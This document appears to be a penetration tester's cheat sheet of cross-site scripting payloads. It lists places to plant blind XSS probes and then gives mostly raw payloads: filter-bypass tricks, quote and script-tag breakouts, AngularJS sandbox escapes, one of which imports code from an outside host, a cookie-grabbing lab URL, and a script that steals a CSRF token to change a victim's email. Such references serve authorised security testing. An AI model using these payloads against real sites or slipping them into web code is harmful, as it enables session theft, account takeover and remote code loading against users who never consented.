More commonly in this situation, angle brackets are blocked or encoded, so your input cannot break out of the tag in which it appears. Provided you can terminate the attribute value, you can normally introduce a new attribute that creates a scriptable context, such as an event handler. For example:
# Blind XSS
# https://github.com/LewisArdern/bXSS
# https://github.com/ssl/ezXSS
# https://xsshunter.com/
# Blind XSS detection
# Xsshunter payload in every field
# Review forms
# Contact Us pages
# Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
# Address fields of e-commerce sites
# First or Last Name field while doing Credit Card Payments
# Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
# Log Viewers
# Feedback Page
# Chat Applications
# Any app that requires user moderation
# Host header
# Why cancel subscription? forms
# No parentheses
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>
# No parentheses and no semicolons
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
# No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>
# Angle brackets HTML encoded (in an attribute)
“onmouseover=“alert(1)
‘-alert(1)-’
# If quote is escaped
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//
# Embedded tab, newline, carriage return to break up XSS
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
# RegEx bypass
<img src="X" onerror=top[8680439..toString(30)](1337)>
# Other
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)
# Example:
# Detect action to change email, with anti csrf token, get it and paste this in a comment to change user email:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
# Removed in AngularJS 1.6
# Is a way to avoid some strings like window, document or __proto__.
# Without strings:
/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
# With CSP:
<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
# v 1.6 and up
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
{{constructor.constructor('import("https://six2dez.xss.ht")')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)
# Inside JS script:
</script><img src=1 onerror=alert(document.domain)>
</script><script>alert(1)</script>
# Inside JS literal script:
'-alert(document.domain)-'
';alert(document.domain)//
'-alert(1)-'
# Inside JS that escape special chars:
If ';alert(document.domain)// is converted in \';alert(document.domain)//
Use \';alert(document.domain)// to obtain \\';alert(document.domain)//
\'-alert(1)//
# Inside JS with some char blocked:
onerror=alert;throw 1
/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
# Inside {}
${alert(document.domain)}
${alert(1)}
